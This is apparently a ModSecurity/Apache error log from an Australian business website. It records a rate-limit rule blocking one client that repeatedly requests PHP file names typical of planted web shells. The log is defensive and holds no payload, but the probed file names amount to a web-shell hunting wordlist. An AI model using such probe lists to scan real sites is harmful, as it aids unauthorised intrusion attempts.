[Mon Nov 17 05:07:17.918716 2025] [:error] [pid 39449:tid 39456] [client 48.218.71.119:7121] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-good.php"] [unique_id "aRo9BaUCymTA3MDfzLODOAAAAAI"]
[Mon Nov 17 05:07:18.703854 2025] [:error] [pid 39537:tid 39543] [client 48.218.71.119:7118] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/rrr.php"] [unique_id "aRo9BoZRrh1pcrdcLB_LngAAAMM"]
[Mon Nov 17 05:07:19.420500 2025] [:error] [pid 40548:tid 40555] [client 48.218.71.119:7021] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/rrr.php"] [unique_id "aRo9BwM_PykfYnxh-j-h5gAAAQU"]
[Mon Nov 17 05:07:19.986643 2025] [:error] [pid 39451:tid 39519] [client 48.218.71.119:7151] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/rrr.php"] [unique_id "aRo9B-fgkqXTS0SO3fBghQAAAIs"]
[Mon Nov 17 05:07:20.772173 2025] [:error] [pid 40548:tid 40564] [client 48.218.71.119:7126] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/rrr.php"] [unique_id "aRo9CAM_PykfYnxh-j-h5wAAAQ4"]
[Mon Nov 17 05:07:21.511960 2025] [:error] [pid 39537:tid 39544] [client 48.218.71.119:7135] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/tj.php"] [unique_id "aRo9CYZRrh1pcrdcLB_LogAAAMQ"]
[Mon Nov 17 05:07:22.298880 2025] [:error] [pid 40548:tid 40561] [client 48.218.71.119:7123] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/tj.php"] [unique_id "aRo9CgM_PykfYnxh-j-h6QAAAQs"]
[Mon Nov 17 05:07:22.935933 2025] [:error] [pid 40548:tid 40556] [client 48.218.71.119:7062] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/tj.php"] [unique_id "aRo9CgM_PykfYnxh-j-h6gAAAQY"]
[Mon Nov 17 05:07:24.089411 2025] [:error] [pid 39449:tid 39456] [client 48.218.71.119:6998] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/tj.php"] [unique_id "aRo9DKUCymTA3MDfzLODQAAAAAI"]
[Mon Nov 17 05:07:24.847411 2025] [:error] [pid 39537:tid 39561] [client 48.218.71.119:7039] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/vansec.php"] [unique_id "aRo9DIZRrh1pcrdcLB_LpgAAANU"]
[Mon Nov 17 05:07:25.436359 2025] [:error] [pid 40548:tid 40567] [client 48.218.71.119:7079] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/vansec.php"] [unique_id "aRo9DQM_PykfYnxh-j-h7gAAARE"]
[Mon Nov 17 05:07:25.769271 2025] [:error] [pid 39449:tid 39470] [client 48.218.71.119:6980] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/vansec.php"] [unique_id "aRo9DaUCymTA3MDfzLODQQAAABA"]
[Mon Nov 17 05:07:26.137771 2025] [:error] [pid 39537:tid 39545] [client 48.218.71.119:7031] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/vansec.php"] [unique_id "aRo9DoZRrh1pcrdcLB_LqQAAAMU"]
[Mon Nov 17 05:07:27.176478 2025] [:error] [pid 39449:tid 39458] [client 48.218.71.119:7001] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/filesss.php"] [unique_id "aRo9D6UCymTA3MDfzLODQgAAAAQ"]
[Mon Nov 17 05:07:28.063737 2025] [:error] [pid 39451:tid 39524] [client 48.218.71.119:6939] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/filesss.php"] [unique_id "aRo9EOfgkqXTS0SO3fBgtQAAAJA"]
[Mon Nov 17 05:07:28.467633 2025] [:error] [pid 39451:tid 39513] [client 48.218.71.119:7069] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/filesss.php"] [unique_id "aRo9EOfgkqXTS0SO3fBguAAAAIU"]
[Mon Nov 17 05:07:28.820432 2025] [:error] [pid 40548:tid 40564] [client 48.218.71.119:7065] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/filesss.php"] [unique_id "aRo9EAM_PykfYnxh-j-h8QAAAQ4"]
[Mon Nov 17 05:07:29.546162 2025] [:error] [pid 39450:tid 39482] [client 48.218.71.119:7078] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ss.php"] [unique_id "aRo9EeoZqPB4_7vNEDSK4QAAAEE"]
[Mon Nov 17 05:07:30.224391 2025] [:error] [pid 39450:tid 39503] [client 48.218.71.119:7159] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ss.php"] [unique_id "aRo9EuoZqPB4_7vNEDSK4gAAAFY"]
[Mon Nov 17 05:07:30.823426 2025] [:error] [pid 39451:tid 39529] [client 48.218.71.119:7115] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ss.php"] [unique_id "aRo9EufgkqXTS0SO3fBgwAAAAJU"]
[Mon Nov 17 05:07:31.317214 2025] [:error] [pid 39451:tid 39532] [client 48.218.71.119:7012] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ss.php"] [unique_id "aRo9E-fgkqXTS0SO3fBgxQAAAJg"]
[Mon Nov 17 05:07:31.677855 2025] [:error] [pid 40548:tid 40563] [client 48.218.71.119:7154] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-is.php"] [unique_id "aRo9EwM_PykfYnxh-j-h_AAAAQ0"]
[Mon Nov 17 05:07:32.130308 2025] [:error] [pid 40548:tid 40559] [client 48.218.71.119:6991] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-is.php"] [unique_id "aRo9FAM_PykfYnxh-j-iAAAAAQk"]
[Mon Nov 17 05:07:32.643097 2025] [:error] [pid 39450:tid 39491] [client 48.218.71.119:7093] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-is.php"] [unique_id "aRo9FOoZqPB4_7vNEDSK6QAAAEo"]
[Mon Nov 17 05:07:32.944701 2025] [:error] [pid 40548:tid 40566] [client 48.218.71.119:6978] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-is.php"] [unique_id "aRo9FAM_PykfYnxh-j-iBgAAARA"]
[Mon Nov 17 05:07:33.653822 2025] [:error] [pid 39537:tid 39540] [client 48.218.71.119:7124] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/jmfi2.php"] [unique_id "aRo9FYZRrh1pcrdcLB_LsQAAAMA"]
[Mon Nov 17 05:07:33.887456 2025] [:error] [pid 39537:tid 39545] [client 48.218.71.119:7083] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/jmfi2.php"] [unique_id "aRo9FYZRrh1pcrdcLB_LsgAAAMU"]
[Mon Nov 17 05:07:34.650130 2025] [:error] [pid 40548:tid 40557] [client 48.218.71.119:7155] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/jmfi2.php"] [unique_id "aRo9FgM_PykfYnxh-j-iCwAAAQc"]
[Mon Nov 17 05:07:35.345573 2025] [:error] [pid 39449:tid 39468] [client 48.218.71.119:7017] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/jmfi2.php"] [unique_id "aRo9F6UCymTA3MDfzLODSgAAAA4"]
[Mon Nov 17 05:07:35.858148 2025] [:error] [pid 40548:tid 40572] [client 48.218.71.119:7088] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/scx.php7"] [unique_id "aRo9FwM_PykfYnxh-j-iDwAAARY"]
[Mon Nov 17 05:07:36.272187 2025] [:error] [pid 39537:tid 39544] [client 48.218.71.119:7096] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/scx.php7"] [unique_id "aRo9GIZRrh1pcrdcLB_LtgAAAMQ"]
[Mon Nov 17 05:07:36.802367 2025] [:error] [pid 39537:tid 39559] [client 48.218.71.119:6997] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/scx.php7"] [unique_id "aRo9GIZRrh1pcrdcLB_LtwAAANM"]
[Mon Nov 17 05:07:37.525874 2025] [:error] [pid 39450:tid 39498] [client 48.218.71.119:7042] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/scx.php7"] [unique_id "aRo9GeoZqPB4_7vNEDSK8AAAAFE"]
[Mon Nov 17 05:07:37.966297 2025] [:error] [pid 39537:tid 39552] [client 48.218.71.119:6924] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/777.php"] [unique_id "aRo9GYZRrh1pcrdcLB_LugAAAMw"]
[Mon Nov 17 05:07:38.889173 2025] [:error] [pid 39451:tid 39512] [client 48.218.71.119:6992] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/777.php"] [unique_id "aRo9GufgkqXTS0SO3fBg-AAAAIQ"]
[Mon Nov 17 05:07:39.379980 2025] [:error] [pid 39537:tid 39542] [client 48.218.71.119:7068] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/777.php"] [unique_id "aRo9G4ZRrh1pcrdcLB_LvgAAAMI"]
[Mon Nov 17 05:07:40.094813 2025] [:error] [pid 39450:tid 39490] [client 48.218.71.119:7027] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/777.php"] [unique_id "aRo9HOoZqPB4_7vNEDSK9AAAAEk"]
[Mon Nov 17 05:07:40.560859 2025] [:error] [pid 39451:tid 39525] [client 48.218.71.119:6920] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/f35.php"] [unique_id "aRo9HOfgkqXTS0SO3fBg_gAAAJE"]
[Mon Nov 17 05:07:41.424456 2025] [:error] [pid 40548:tid 40553] [client 48.218.71.119:7061] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/f35.php"] [unique_id "aRo9HQM_PykfYnxh-j-iFQAAAQM"]
[Mon Nov 17 05:07:42.081246 2025] [:error] [pid 39449:tid 39463] [client 48.218.71.119:6921] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/f35.php"] [unique_id "aRo9HqUCymTA3MDfzLODTwAAAAk"]
[Mon Nov 17 05:07:42.829173 2025] [:error] [pid 39449:tid 39459] [client 48.218.71.119:7110] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/f35.php"] [unique_id "aRo9HqUCymTA3MDfzLODUgAAAAU"]
[Mon Nov 17 05:07:43.158021 2025] [:error] [pid 39537:tid 39550] [client 48.218.71.119:7100] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "aRo9H4ZRrh1pcrdcLB_LwQAAAMo"]
[Mon Nov 17 05:07:43.428873 2025] [:error] [pid 39537:tid 39560] [client 48.218.71.119:7013] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "aRo9H4ZRrh1pcrdcLB_LwgAAANQ"]
[Mon Nov 17 05:07:43.958969 2025] [:error] [pid 39537:tid 39544] [client 48.218.71.119:7145] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "aRo9H4ZRrh1pcrdcLB_LxAAAAMQ"]
[Mon Nov 17 05:07:44.338313 2025] [:error] [pid 40548:tid 40567] [client 48.218.71.119:7015] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "aRo9IAM_PykfYnxh-j-iGAAAARE"]
[Mon Nov 17 05:07:44.580069 2025] [:error] [pid 39537:tid 39548] [client 48.218.71.119:7028] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/csv.php"] [unique_id "aRo9IIZRrh1pcrdcLB_LxQAAAMg"]
[Mon Nov 17 05:07:44.904611 2025] [:error] [pid 39537:tid 39547] [client 48.218.71.119:7063] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/csv.php"] [unique_id "aRo9IIZRrh1pcrdcLB_LxgAAAMc"]
[Mon Nov 17 05:07:45.274098 2025] [:error] [pid 39537:tid 39541] [client 48.218.71.119:7026] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/csv.php"] [unique_id "aRo9IYZRrh1pcrdcLB_LxwAAAME"]
[Mon Nov 17 05:07:45.656927 2025] [:error] [pid 39450:tid 39504] [client 48.218.71.119:7102] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/csv.php"] [unique_id "aRo9IeoZqPB4_7vNEDSK-AAAAFc"]
[Mon Nov 17 05:07:46.384209 2025] [:error] [pid 39450:tid 39501] [client 48.218.71.119:7051] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/shlo.php"] [unique_id "aRo9IuoZqPB4_7vNEDSK-QAAAFQ"]
[Mon Nov 17 05:07:46.827528 2025] [:error] [pid 40548:tid 40559] [client 48.218.71.119:7071] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/shlo.php"] [unique_id "aRo9IgM_PykfYnxh-j-iGwAAAQk"]
[Mon Nov 17 05:07:47.405676 2025] [:error] [pid 39537:tid 39564] [client 48.218.71.119:7024] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/shlo.php"] [unique_id "aRo9I4ZRrh1pcrdcLB_LzQAAANg"]
[Mon Nov 17 05:07:48.115147 2025] [:error] [pid 40548:tid 40550] [client 48.218.71.119:7074] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/shlo.php"] [unique_id "aRo9JAM_PykfYnxh-j-iHwAAAQA"]
[Mon Nov 17 05:07:48.726771 2025] [:error] [pid 39537:tid 39549] [client 48.218.71.119:7094] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/abc.php"] [unique_id "aRo9JIZRrh1pcrdcLB_L0QAAAMk"]
[Mon Nov 17 05:07:49.063850 2025] [:error] [pid 39537:tid 39559] [client 48.218.71.119:7161] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/abc.php"] [unique_id "aRo9JYZRrh1pcrdcLB_L0gAAANM"]
